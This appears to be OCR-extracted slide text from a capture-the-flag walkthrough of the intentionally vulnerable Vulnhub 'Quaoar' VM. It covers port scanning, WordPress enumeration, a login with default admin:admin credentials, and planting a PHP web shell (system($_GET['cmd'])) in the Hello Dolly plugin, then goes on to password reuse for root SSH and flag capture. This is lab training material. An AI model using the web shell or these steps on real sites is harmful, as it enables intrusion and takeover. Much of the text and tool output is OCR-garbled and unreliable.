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About Vulnhub

 To provide materials that allows anyone to gain practical 'hands-on'

experience in digital security, computer software & network
administration

o

VULNHUB

VULNERABLE BY DESIGMN
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Target VM

» Target VM: Quaoar

* Download the ova file
https://download.vulnhub.com/hackfest2016/Quaoar.ova

 Import the ova file into your favorite hypervisor;
Kﬁ Quaoar.ova
 Attach a DHCP enabled interface to the machine and run it

» Objective
Find the flags
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https://download.vulnhub.com/hackfest2016/Quaoar.ova

Test Setup

O Testing environment

Linux Kali (attacker) >>> Quaoar (target vm)
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Walkthrough

© From the attacker machine run the following command to find out
Target VMs IP address:
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Walkthrough

© Scan the target machine IP (192.168.254.151)

: #
port 22 is open
port 53 is open
port 80 1s open

P port 110 is open

port 139 is open
port 143 is open
port 445 is open
port. 993 is ‘open
P port. 995 is open

Information Security Confidential - Partner Use Only .SEC
ation uv(ry inc.

nformat



Walkthrough

. € (D 192168254151 ® c 2%
O Explore Port 80 in a browser Foce  ads e A

Welcome to Quaoar

Click here to know what you need to do

© Nothing too interesting
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Walkthrough

© Use dirb to scan the web application, found wordpress
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Walkthrough

© Scanning wordpress using wpscan and enumerate the users

n number
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Walkthrough

© Scanning wordpress using wpscan and enumerate the users,

username admin still used

Enumerating usernames ...
Identif the fol ng 2 user/s:

‘name 'admin' is

11 Information Security Confidential - Partner Use Only
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Walkthrough

© Attempting to log in with admin:admin works!
© modify hello_dolly plugin with payload system($_GET['cmd"]);

Edit Plugins

File edited successfully.

Editing hello.php (inactive) Select plugin to edit:

* L
Plugin Name: Hello Dolly

Plugin URI: http://wordpress.org/plugins/hello-dolly/

Description: This is not just a plugin, it symbolizes the hope and enthusiasm of an entire generation summed

up in two words sung most famously by Louis Armstrong: Hello, Dolly. When activated you will randomly see a

lyric from <cite>Hello, Dolly</cite> in the upper right of your admin screen on every page.

Author: Matt Mullenweg

Version: 1.6

Author URI: http://ma.tt/

*/

system($_GE H
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Walkthrough

O leak the mysqgl password

u don't

y.php" and fill

Information Security Confidential - Partner Use Only

SEC

nformation sccurity inc.



14

Walkthrough

O leak the mysqgl password, is the same as the root password
© SSH login
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Walkthrough

© Capture the flags, wpadmin flag

3 L K Oct 2
’ 1 wpadmin wpsz 33 Oct 2
root@Quaoar: /t >/wpadmin# cat flag.txt
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Walkthrough

© Capture the flags, root flag

root@Quaoar:~# pwd

/root

root@Quaoar:~# 1s
btal 48K

root
root
root
root
root

root
root

-hla

root

root
root
root
root

root 4.7K
root 4.0K

2016
2016
2016
2017
2012
2016
2016
2012
2016
2016
2015

.bash history
.bashrc

Tlage«lxt
.profile

.viminfo
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References

* Vulnhub website
https://www.vulnhub.com

* Vulnerable VM download
https://download.vulnhub.com/hackfest2016/Quaoar.ova
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